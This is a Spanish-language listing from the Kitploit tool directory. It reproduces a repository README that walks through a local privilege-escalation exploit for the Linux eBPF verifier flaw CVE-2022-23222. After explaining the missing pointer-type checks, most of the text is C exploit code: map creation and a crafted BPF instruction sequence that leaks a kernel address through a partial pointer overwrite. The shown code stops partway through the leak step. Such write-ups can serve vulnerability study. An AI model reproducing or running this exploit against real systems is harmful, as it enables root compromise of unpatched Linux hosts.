Skip to content
KitploitKITPLOIT
HerramientasBlog
Log in
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2022-23222 — CVE-2022-23222, gestionado con Rust. | Kitploit
Herramientas/GitHubGitHub/fridayortiz/cve-2022-23222
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónAprendizaje y EducaciónExplotación de Binarios
GitHubfridayortiz/cve-2022-23222

CVE-2022-23222

CVE-2022-23222, gestionado con Rust.

Ver Repositorio
1210hace 4 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2022-23222

Haga clic aquí si solo desea compilar y ejecutar el asunto. Lo que sigue es más o menos una traducción del artículo chino, disponible aquí.

Usaremos el código del kernel principal para la versión 5.13.0 como referencia. Hay un desajuste entre los tipos de puntero disponibles y la función que verifica sus límites. Este desajuste se introdujo por primera vez en Linux 5.8 y desde entonces ha sido parcheado. La lista de tipos de puntero disponibles está disponible aquí.```c /* types of values stored in eBPF registers / / Pointer types represent:

  • pointer
  • pointer + imm
  • pointer + (u16) var
  • pointer + (u16) var + imm
  • if (range > 0) then [ptr, ptr + range - off) is safe to access
  • if (id > 0) means that some 'var' was added
  • if (off > 0) means that 'imm' was added / enum bpf_reg_type { NOT_INIT = 0, / nothing was written into register / SCALAR_VALUE, / reg doesn't contain a valid pointer / PTR_TO_CTX, / reg points to bpf_context / CONST_PTR_TO_MAP, / reg points to struct bpf_map / PTR_TO_MAP_VALUE, / reg points to map element value / PTR_TO_MAP_VALUE_OR_NULL,/ points to map elem value or NULL / PTR_TO_STACK, / reg == frame_pointer + offset / PTR_TO_PACKET_META, / skb->data - meta_len / PTR_TO_PACKET, / reg points to skb->data / PTR_TO_PACKET_END, / skb->data + headlen / PTR_TO_FLOW_KEYS, / reg points to bpf_flow_keys / PTR_TO_SOCKET, / reg points to struct bpf_sock / PTR_TO_SOCKET_OR_NULL, / reg points to struct bpf_sock or NULL / PTR_TO_SOCK_COMMON, / reg points to sock_common / PTR_TO_SOCK_COMMON_OR_NULL, / reg points to sock_common or NULL / PTR_TO_TCP_SOCK, / reg points to struct tcp_sock / PTR_TO_TCP_SOCK_OR_NULL, / reg points to struct tcp_sock or NULL / PTR_TO_TP_BUFFER, / reg points to a writable raw tp's buffer / PTR_TO_XDP_SOCK, / reg points to struct xdp_sock / // ... omitted ... PTR_TO_BTF_ID, PTR_TO_BTF_ID_OR_NULL, PTR_TO_MEM, / reg points to valid memory region / PTR_TO_MEM_OR_NULL, / reg points to valid memory region or NULL / PTR_TO_RDONLY_BUF, / reg points to a readonly buffer / PTR_TO_RDONLY_BUF_OR_NULL, / reg points to a readonly buffer or NULL / PTR_TO_RDWR_BUF, / reg points to a read/write buffer / PTR_TO_RDWR_BUF_OR_NULL, / reg points to a read/write buffer or NULL / PTR_TO_PERCPU_BTF_ID, / reg points to a percpu kernel variable / PTR_TO_FUNC, / reg points to a bpf program function / PTR_TO_MAP_KEY, / reg points to a map element key */ __BPF_REG_TYPE_MAX, };
Como puedes ver, hay una serie de tipos de puntero `_OR_NULL` que se utilizan cuando un puntero puede
ser... nulo. El verificador generalmente solo te permitirá hacer una verificación nula en este punto, o como argumento
en algunas funciones. La siguiente función,
disponible [aquí](https://elixir.bootlin.com/linux/v5.13/source/kernel/bpf/verifier.c#L6720),
es responsable de rastrear y verificar los límites de los punteros.```c
/* Handles arithmetic on a pointer and a scalar: computes new min/max and var_off.
 * Caller should also handle BPF_MOV case separately.
 * If we return -EACCES, caller may want to try again treating pointer as a
 * scalar.  So we only emit a diagnostic if !env->allow_ptr_leaks.
 */
static int adjust_ptr_min_max_vals(struct bpf_verifier_env *env,
				   struct bpf_insn *insn,
				   const struct bpf_reg_state *ptr_reg,
				   const struct bpf_reg_state *off_reg)
{
    // ... omitted ...

	switch (ptr_reg->type) {
	case PTR_TO_MAP_VALUE_OR_NULL:
		verbose(env, "R%d pointer arithmetic on %s prohibited, null-check it first\n",
			dst, reg_type_str[ptr_reg->type]);
		return -EACCES;
	case CONST_PTR_TO_MAP:
		/* smin_val represents the known value */
		if (known && smin_val == 0 && opcode == BPF_ADD)
			break;
		fallthrough;
	case PTR_TO_PACKET_END:
	case PTR_TO_SOCKET:
	case PTR_TO_SOCKET_OR_NULL:
	case PTR_TO_SOCK_COMMON:
	case PTR_TO_SOCK_COMMON_OR_NULL:
	case PTR_TO_TCP_SOCK:
	case PTR_TO_TCP_SOCK_OR_NULL:
	case PTR_TO_XDP_SOCK:
		verbose(env, "R%d pointer arithmetic on %s prohibited\n",
			dst, reg_type_str[ptr_reg->type]);
		return -EACCES;
	default:
		break;
	}
    
    // ... omitted ...
    
	return 0;
}

Desafortunadamente, esta lista carece de algunos tipos. Específicamente, PTR_TO_BTF_ID, PTR_TO_BTF_ID_OR_NULL, PTR_TO_MEM, PTR_TO_MEM_OR_NULL, PTR_TO_RDONLY_BUF, PTR_TO_RDONLY_BUF_OR_NULL, PTR_TO_RDWR_BUF y PTR_TO_RDWR_BUF_OR_NULL. Al usar el tipo de mapa RINGBUF, podemos crear un PTR_TO_MEM_OR_NULL que nos permitirá realizar aritmética cuando no deberíamos.

Desglose del Exploit

Primero, creamos dos mapas. El mapa ARRAY se usará para pasar información entre el espacio de usuario y el programa BPF. El mapa RINGBUF se usará para dar a un registro el tipo de puntero explotable.```c int create_bpf_maps(context_t *ctx) { int ret = 0;

ret = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(u32), PAGE_SIZE, 1);
if (ret < 0) {
    WARNF("Failed to create comm map: %d (%s)", ret, strerror(-ret));
    return ret;
}
ctx->comm_fd = ret;

if ((ret = bpf_create_map(BPF_MAP_TYPE_RINGBUF, 0, 0, PAGE_SIZE)) < 0) {
    WARNF("Could not create ringbuf map: %d (%s)", ret, strerror(-ret));
    return ret;
}
ctx->ringbuf_fd = ret;

return 0;

}

A continuación, cargamos y ejecutamos un programa BPF especialmente diseñado que primero,
guardará la dirección del espacio del kernel de la dirección del mapa `ARRAY` en la pila BPF,
y luego aprovechará el descuido del puntero anterior para anular el último byte de
esa dirección. El verificador pensará que estamos leyendo desde el inicio del
array, pero en realidad estamos leyendo unos bytes más abajo, lo que (con suerte) nos dará
una dirección del kernel.```c
int do_leak(context_t *ctx)
{
    int ret = -1;
    struct bpf_insn insn[] = {
        // r9 = r1
        BPF_MOV64_REG(BPF_REG_9, BPF_REG_1),

        // r0 = bpf_lookup_elem(ctx->comm_fd, 0)
        BPF_LD_MAP_FD(BPF_REG_1, ctx->comm_fd),
        BPF_ST_MEM(BPF_DW, BPF_REG_10, -8, 0),
        BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),
        BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),

        // if (r0 == NULL) exit(1)
        BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 2),
        BPF_MOV64_IMM(BPF_REG_0, 1),
        BPF_EXIT_INSN(),

        // r8 = r0
        BPF_MOV64_REG(BPF_REG_8, BPF_REG_0),

        // r0 = bpf_ringbuf_reserve(ctx->ringbuf_fd, PAGE_SIZE, 0)
        BPF_LD_MAP_FD(BPF_REG_1, ctx->ringbuf_fd),
        BPF_MOV64_IMM(BPF_REG_2, PAGE_SIZE),
        BPF_MOV64_IMM(BPF_REG_3, 0x00),
        BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_reserve),

        // this is where the verifier loses track of r1
        BPF_MOV64_REG(BPF_REG_1, BPF_REG_0),
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, 1),

        // if (r0 != NULL) { ringbuf_discard(r0, 1); exit(2); }
        BPF_JMP_IMM(BPF_JEQ, BPF_REG_0, 0, 5),
        BPF_MOV64_REG(BPF_REG_1, BPF_REG_0),
        BPF_MOV64_IMM(BPF_REG_2, 1),
        BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_discard),
        BPF_MOV64_IMM(BPF_REG_0, 2),
        BPF_EXIT_INSN(),

        // verifier believe r0 = 0 and r1 = 0. However, r0 = 0 and  r1 = 1 on runtime.

        // r7 = r1 + 8
        BPF_MOV64_REG(BPF_REG_7, BPF_REG_1),
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 8),

        // verifier believe r7 = 8, but r7 = 9 actually.

        // store the array pointer (0xFFFF..........10 + 0xE0)
        BPF_MOV64_REG(BPF_REG_6, BPF_REG_8),
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_6, 0xE0),
        BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_6, -8),

        // partial overwrite array pointer on stack
Descargar herramienta